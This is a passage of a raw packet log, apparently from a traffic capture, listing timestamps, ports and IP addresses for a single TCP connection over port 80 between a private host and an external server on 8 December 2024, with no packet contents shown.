Dec 8, 2024 15:38:46.055419922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.056425095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.056483030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.056546926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.056591034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.057600975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.057660103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.057792902 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.057837963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.058689117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.058737993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.058778048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.058818102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.059870005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.059940100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.059978008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.060014009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.061048031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.061110973 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.061166048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.061213017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.062140942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.062196970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.062252045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.062300920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.063328981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.063390017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.063441038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.063491106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.064413071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.064474106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.064524889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.064568043 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.065639973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.065692902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.065835953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.065881968 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.067048073 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.067095041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.067203999 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.067254066 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.068085909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.068133116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.068191051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.068236113 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.069245100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.069291115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.069324970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.069365978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.070369959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.070410013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.070430040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.070471048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.071609020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.071654081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.071712971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.071757078 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.072838068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.072885036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.072933912 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.072979927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.073888063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.073932886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.074043989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.074088097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.074894905 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.074943066 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.075206041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.075252056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.076051950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.076100111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.076158047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.076201916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.076958895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.077007055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.077028036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.077078104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.078015089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.078063011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.078140020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.078188896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.079166889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.079221964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.079271078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.079319954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.234247923 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.353683949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.670752048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.670841932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.670852900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.670902014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.671346903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.671401024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.671461105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.672630072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.672687054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.672763109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.672866106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.673718929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.673765898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.673784018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.673820972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.674730062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.674776077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.674841881 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.674894094 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.675882101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.675930977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.675959110 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.676062107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.795310974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.795398951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.795475006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.795870066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.795943975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.796020031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.796961069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.797032118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.797099113 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.798139095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.798230886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.798268080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.799124002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.799221992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.799357891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.799415112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.800450087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.800770998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.800827026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.801772118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.801912069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.801966906 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.802851915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.802881956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.802902937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.802936077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.803910017 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.803976059 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.804028034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.804891109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.804960012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.805020094 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.806099892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.806149960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.862662077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.862771988 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.862782001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.863044977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.920197010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.920296907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.920412064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.920763016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.920779943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.920814037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.920883894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.920927048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930083990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930119038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930134058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930198908 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930226088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930227995 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930241108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930257082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930267096 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930283070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930300951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930301905 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930316925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930356026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930464983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930479050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930493116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930512905 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930532932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930536032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930550098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930573940 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930635929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930659056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930674076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.930700064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.930727005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.932780981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.932805061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.932817936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.932863951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.932883978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.933485985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.933547020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.933547974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.934483051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.934542894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.934616089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.934657097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.936131954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.936161995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.936233044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.937237978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.937453985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.937521935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.938373089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.938436985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.938602924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.939120054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.939421892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.939471960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.939652920 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.939698935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.940244913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.940952063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.941013098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.941301107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.942466021 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.942481041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.942528009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.943057060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.944596052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.944657087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.944839954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.944861889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:46.944884062 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:46.944922924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.045671940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.045718908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.045733929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.045748949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.045804977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.045842886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.049196005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.049220085 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.049232960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.049285889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.049499989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.049514055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.049527884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.049551010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.049566984 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.049997091 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.050111055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.050157070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.051327944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.051424980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.051476002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.052283049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.052437067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.052484035 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.053426027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.053556919 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.053605080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.054537058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.054580927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.054728985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.055098057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.055715084 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.055772066 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.056265116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.056858063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.056911945 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.057178020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.058017969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.058063030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.058104992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.059114933 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.059115887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.059164047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.059381008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.060302973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.060347080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.060477018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.061391115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.061451912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.061499119 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.062345982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.062551975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.062766075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.062813044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.063684940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.063911915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.063966990 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.064850092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.065141916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.065192938 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.066091061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.066171885 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.066231966 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.067156076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.067388058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.067440033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.068276882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.068330050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.068373919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.069369078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.069643021 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.069689035 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.070492983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.070573092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.070621967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.071665049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.071800947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.071850061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.072853088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.072890997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.072999001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.073915958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.073956013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.073966026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.073995113 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.075058937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.075161934 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.075212002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.076212883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.076375008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.076423883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.077327967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.077383041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.077471972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.077614069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.078500032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.078562975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.078576088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.078665972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.079649925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.079705954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.079758883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.079929113 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.080825090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.080872059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.080893993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.081212997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.081958055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.082005024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.082041979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.083050966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.083101034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.112313032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.112365007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:47.112397909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.112792969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:47.112835884 CET	49787	80	192.168.2.6	185.215.113.206
